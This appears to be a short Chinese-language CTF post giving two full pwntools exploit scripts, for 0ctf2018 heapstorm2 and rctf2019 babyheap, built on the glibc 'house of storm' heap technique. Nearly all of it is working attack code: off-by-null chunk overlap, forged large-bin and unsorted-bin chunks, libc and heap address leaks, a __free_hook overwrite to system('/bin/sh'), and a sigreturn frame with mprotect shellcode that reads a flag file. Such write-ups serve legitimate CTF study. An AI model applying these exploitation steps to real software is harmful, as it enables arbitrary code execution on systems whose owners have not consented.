放三个例题,自己写的很麻烦,调试了一天,raycp师傅的脚本就思路很清晰,羡慕。
0ctf2018-heapstorm2
add(0x28) #0
add(0xa90) #1
add(0x80) #2
add(0x20) #3
delete(1) #1
## step 1 off-by-null overwrite the size of 1st chunk
update(0,0x28-0xc,'a'*(0x28-0xc))
add(0x100) #1
add(0x20) #4
add(0x400) #5
add(0x20) #6
add(0x410) #7
add(0xb0-0x60) #8
#pdbg.bp(0x113c)
## step 2 chunk merge to form overlap chunk
delete(1)
delete(2)
add(0xb20) #1 this big chunk contains chunk 4,5,6,7,8
#delete(4)
payload='a'*0x100+p64(0)+p64(0x31)+'\x00'*0x20+p64(0x0)+p64(0x411)+'\x00'*0x400+p64(0)+p64(0x31)+'\x00'*0x20+p64(0)+p64(0x421)+'\x00'*0x410+p64(0)+p64(0x191)+'\x00'
update(1,len(payload),payload)
## step 3 free the first large bin with size 0x410 into large bin
delete(5)
add(0x500) #2 ## free the large bin into largebins
## step 4 free the second large bin with size 0x420 into unsoretd bin
delete(7)
## step 5 build the fake data to perform house of storm attack
payload='a'*0x100+p64(0)+p64(0x31)+'\x00'*0x20
mmap_addr=0x13370000
target_out=mmap_addr+0x800-0x10
fake_bk_nextsize=target_out-5-0x20+8
fake_bk=target_out+8
fake_large=p64(0)+p64(0x411)+p64(0)+p64(fake_bk)+p64(0)+p64(fake_bk_nextsize)
fake_large=fake_large.ljust(0x410,'\x00')
payload+=fake_large
payload+=p64(0x410)+p64(0x30)+'\x00'*0x20
fake_chunk=target_out
fake_unsorted=p64(0)+p64(0x421)+p64(0)+p64(fake_chunk)
fake_unsorted=fake_unsorted.ljust(0x420,'\x00')
payload+=fake_unsorted+p64(0x420)+p64(0x190)+'\x00'
## here overwrite the bk_nextsize and bk of largebin and overwrite the bk of unsorted bin
update(1,len(payload),payload)
#pdbg.bp([0xe7d,0x1054,0xee8,0x12ca])
## step 6 evil addr (0x133707f0) is malloc out
add(0x48) #5
## step 7 build fake 0 with mmap_addr+0x820 to leak random key and heap address
payload=p64(0)+p64(0)+p64(0x13377331)+p64(0)+p64(mmap_addr+0x820)+p64(0x90)
update(5,len(payload),payload)
#pdbg.bp([0xe7d,0x1054,0xee8,0x12ca])
view(0)
p.recvuntil("]: ")
p.recv(0x50)
libc_base=(u64(p.recv(8))^0x13370800)-libc.symbols['main_arena']-0x58
heap_base=(u64(p.recv(8))^0x48)-0x5b0
log.info("libc base: %s"%(hex(libc_base)))
log.info("heap_base: %s"%(hex(heap_base)))
free_hook=libc_base+libc.symbols["__free_hook"]
system_addr=libc_base+libc.symbols["system"]
## step 8 edit ptr point to __free_hook
payload=p64(mmap_addr+0x820)+p64(0x90)+p64(free_hook)+p64(0x20)+p64(mmap_addr+0x820+0x30)+p64(0x40)+"/bin/sh\x00"
update(0,len(payload),payload)
## step 9 write system addr to __free_hook
payload=p64(system_addr)
update(1,len(payload),payload)
#pdbg.bp(0x113c)
## step 10 trigger free to get shell
delete(2)
rctf2019-babyheap
add(0x10) #0
add(0x10) #1
add(0x28) #2
add(0xa70) #3
add(0x80) #4
add(0x10) #5
add(0x430) #6
add(0x10) #7
# step 1 off-by-null
#pdbg.bp(0x11e7)
delete(3)
edit(2,'a'*0x28)
add(0x40) #3
add(0x400) #8
add(0x10) #9
add(0x410) #10
add(0x150) #11
## step 2 form overlap chunk when 4th chunk freed
delete(3)
delete(4)
## step 3 leak libc address
add(0x40) #3
show(8)
unsorted=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=unsorted-libc.symbols['main_arena']-0x58
log.info("libc base: %s"%(hex(libc_base)))
setcontext_addr=libc_base+libc.symbols['setcontext']
mprotect_addr=libc_base+libc.symbols['mprotect']
#delete(4)
## step 4 leak heap address
#pdbg.bp(0x13a0)
add(0x400) #4
add(0x6a0) #12
delete(6)
delete(4)
show(8)
heap_base=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))-0xba0
log.info("heap base: %s"%(hex(heap_base)))
#pdbg.bp(0x10fe)
delete(3)
delete(12)
add(0xb00) #3
add(0x430) #4
## step 5 fix chunk metadata
#pdbg.bp(0x11e7)
payload="\x00"*0x40+p64(0)+p64(0x411)+'\x00'*0x400+p64(0)+p64(0x21)+'\x00'*0x10+p64(0)+p64(0x421)+'\x00'*0x410+p64(0)+p64(0x271)+'\n'
edit(3,payload)
## step 6 free largebin into largebin array and unsorted bin
delete(8)
delete(4)
add(0x430) #4
delete(10) # free large bin with size 0x420 into unsorted bin
## step 7 prepare large bin and unsorted bin
free_hook=libc_base+libc.symbols['__free_hook']
target_out=free_hook-0x10
fake_bk_nextsize=target_out-5+8-0x20
fake_bk=target_out+8
fake_large=p64(0)+p64(0x411)+p64(0)+p64(fake_bk)+p64(0)+p64(fake_bk_nextsize)
fake_large=fake_large.ljust(0x410,'\x00')
fake_chunk=target_out
fake_unsorted=p64(0)+p64(0x421)+p64(0)+p64(fake_chunk)
fake_unsorted=fake_unsorted.ljust(0x420,'\x00')
## step 8 house of storm attack
#pdbg.bp(0x10fe)
payload="\x00"*0x40+fake_large+p64(0x410)+p64(0x20)+'\x00'*0x10+fake_unsorted+p64(0x420)+p64(0x270)+'\n'
edit(3,payload)
add(0x48) #6 __free_hook malloc out
#pdbg.bp(0x11e7)
shellcode=asm(shellcraft.amd64.open("./flag",0))
shellcode+=asm(shellcraft.amd64.read(3,heap_base+0x100,0x30))
shellcode+=asm(shellcraft.amd64.write(1,heap_base+0x100,0x30))
heap_addr=heap_base+0xbb0 ## store sigreturn frame and shellcode, fake stack
frame = SigreturnFrame()
frame.rdi=heap_base&0xfffffffffffff000
frame.rsi=0x1000
frame.rdx=7
frame.rip=mprotect_addr
frame.rsp=heap_addr+len(str(frame))
payload=str(frame)+p64(heap_addr+len(str(frame))+8)+shellcode
log.info("heap addr: %s"%(hex(heap_addr)))
## step 9 deploy sigreturn frame and shellcode
edit(4,payload+'\n')
#pdbg.bp(0x12bd,command=["b *%s"%(hex(setcontext_addr+53))])
## step 10 overwrite __free_hook
edit(6,p64(setcontext_addr+53)+'\n')
## step 11 trigger free to read flag
p.recvuntil("Choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("4")
p.interactive()